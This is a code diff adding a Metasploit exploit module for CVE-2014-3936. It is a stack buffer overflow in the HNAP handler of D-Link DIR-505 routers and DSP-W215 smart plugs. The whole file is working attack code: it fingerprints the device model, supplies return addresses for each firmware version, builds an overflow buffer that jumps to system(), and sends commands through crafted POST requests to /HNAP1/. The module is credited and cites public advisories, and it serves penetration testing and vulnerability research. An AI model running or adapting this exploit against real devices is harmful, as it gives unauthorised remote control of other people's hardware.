|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = NormalRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + include Msf::Exploit::CmdStager |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'D-Link HNAP Request Remote Buffer Overflow', |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits an anonymous remote code execution vulnerability on different |
| 19 | + D-Link devices. The vulnerability is due to an stack based buffer overflow while |
| 20 | + handling malicious HTTP POST requests addressed to the HNAP handler. This module |
| 21 | + has been successfully tested on D-Link DIR-505 in an emulated environment. |
| 22 | + }, |
| 23 | + 'Author' => |
| 24 | + [ |
| 25 | + 'Craig Heffner', # vulnerability discovery and initial exploit |
| 26 | + 'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module |
| 27 | + ], |
| 28 | + 'License' => MSF_LICENSE, |
| 29 | + 'Platform' => 'linux', |
| 30 | + 'Arch' => ARCH_MIPSBE, |
| 31 | + 'References' => |
| 32 | + [ |
| 33 | + ['CVE', '2014-3936'], |
| 34 | + ['BID', '67651'], |
| 35 | + ['URL', 'http://www.devttys0.com/2014/05/hacking-the-d-link-dsp-w215-smart-plug/'], # blog post from Craig including PoC |
| 36 | + ['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10029'] |
| 37 | + ], |
| 38 | + 'Targets' => |
| 39 | + [ |
| 40 | + # |
| 41 | + # Automatic targeting via fingerprinting |
| 42 | + # |
| 43 | + [ 'Automatic Targeting', { 'auto' => true } ], |
| 44 | + [ 'D-Link DSP-W215 - v1.0', |
| 45 | + { |
| 46 | + 'Offset' => 1000000, |
| 47 | + 'Ret' => "\x00\x40\x5C\xAC", # jump to system - my_cgi.cgi |
| 48 | + } |
| 49 | + ], |
| 50 | + [ 'D-Link DIR-505 - v1.06', |
| 51 | + { |
| 52 | + 'Offset' => 30000, |
| 53 | + 'Ret' => "\x00\x40\x52\x34", # jump to system - my_cgi.cgi |
| 54 | + } |
| 55 | + ], |
| 56 | + [ 'D-Link DIR-505 - v1.07', |
| 57 | + { |
| 58 | + 'Offset' => 30000, |
| 59 | + 'Ret' => "\x00\x40\x5C\x5C", # jump to system - my_cgi.cgi |
| 60 | + } |
| 61 | + ] |
| 62 | + ], |
| 63 | + 'DisclosureDate' => 'May 15 2014', |
| 64 | + 'DefaultTarget' => 0)) |
| 65 | + |
| 66 | + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') |
| 67 | + end |
| 68 | + |
| 69 | + def check |
| 70 | + begin |
| 71 | + res = send_request_cgi({ |
| 72 | + 'uri' => "/HNAP1/", |
| 73 | + 'method' => 'GET' |
| 74 | + }) |
| 75 | + |
| 76 | + if res && [200, 301, 302].include?(res.code) |
| 77 | + if res.body =~ /DIR-505/ && res.body =~ /1.07/ |
| 78 | + @my_target = targets[3] if target['auto'] |
| 79 | + return Exploit::CheckCode::Appears |
| 80 | + elsif res.body =~ /DIR-505/ && res.body =~ /1.06/ |
| 81 | + @my_target = targets[2] if target['auto'] |
| 82 | + return Exploit::CheckCode::Appears |
| 83 | + elsif res.body =~ /DSP-W215/ && res.body =~ /1.00/ |
| 84 | + @my_target = targets[1] if target['auto'] |
| 85 | + return Exploit::CheckCode::Appears |
| 86 | + else |
| 87 | + return Exploit::CheckCode::Detected |
| 88 | + end |
| 89 | + end |
| 90 | + rescue ::Rex::ConnectionError |
| 91 | + return Exploit::CheckCode::Safe |
| 92 | + end |
| 93 | + |
| 94 | + Exploit::CheckCode::Unknown |
| 95 | + end |
| 96 | + |
| 97 | + def exploit |
| 98 | + print_status("#{peer} - Trying to access the vulnerable URL...") |
| 99 | + |
| 100 | + @my_target = target |
| 101 | + check_code = check |
| 102 | + |
| 103 | + unless check_code == Exploit::CheckCode::Detected || check_code == Exploit::CheckCode::Appears |
| 104 | + fail_with(Failure::NoTarget, "#{peer} - Failed to detect a vulnerable device") |
| 105 | + end |
| 106 | + |
| 107 | + if @my_target.nil? || @my_target['auto'] |
| 108 | + fail_with(Failure::NoTarget, "#{peer} - Failed to auto detect, try setting a manual target...") |
| 109 | + end |
| 110 | + |
| 111 | + print_status("#{peer} - Exploiting #{@my_target.name}...") |
| 112 | + execute_cmdstager( |
| 113 | + :flavor => :echo, |
| 114 | + :linemax => 185 |
| 115 | + ) |
| 116 | + end |
| 117 | + |
| 118 | + def prepare_shellcode(cmd) |
| 119 | + buf = rand_text_alpha_upper(@my_target['Offset']) # Stack filler |
| 120 | + buf << rand_text_alpha_upper(4) # $s0, don't care |
| 121 | + buf << rand_text_alpha_upper(4) # $s1, don't care |
| 122 | + buf << rand_text_alpha_upper(4) # $s2, don't care |
| 123 | + buf << rand_text_alpha_upper(4) # $s3, don't care |
| 124 | + buf << rand_text_alpha_upper(4) # $s4, don't care |
| 125 | + buf << @my_target['Ret'] # $ra |
| 126 | + |
| 127 | + # la $t9, system |
| 128 | + # la $s1, 0x440000 |
| 129 | + # jalr $t9 ; system |
| 130 | + # addiu $a0, $sp, 0x28 # our command |
| 131 | + |
| 132 | + buf << rand_text_alpha_upper(40) # Stack filler |
| 133 | + buf << cmd # Command to execute |
| 134 | + buf << "\x00" # NULL-terminate the command |
| 135 | + end |
| 136 | + |
| 137 | + def execute_command(cmd, opts) |
| 138 | + shellcode = prepare_shellcode(cmd) |
| 139 | + |
| 140 | + begin |
| 141 | + res = send_request_cgi({ |
| 142 | + 'method' => 'POST', |
| 143 | + 'uri' => "/HNAP1/", |
| 144 | + 'encode_params' => false, |
| 145 | + 'data' => shellcode |
| 146 | + }, 5) |
| 147 | + return res |
| 148 | + rescue ::Rex::ConnectionError |
| 149 | + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") |
| 150 | + end |
| 151 | + end |
| 152 | +end |
0 commit comments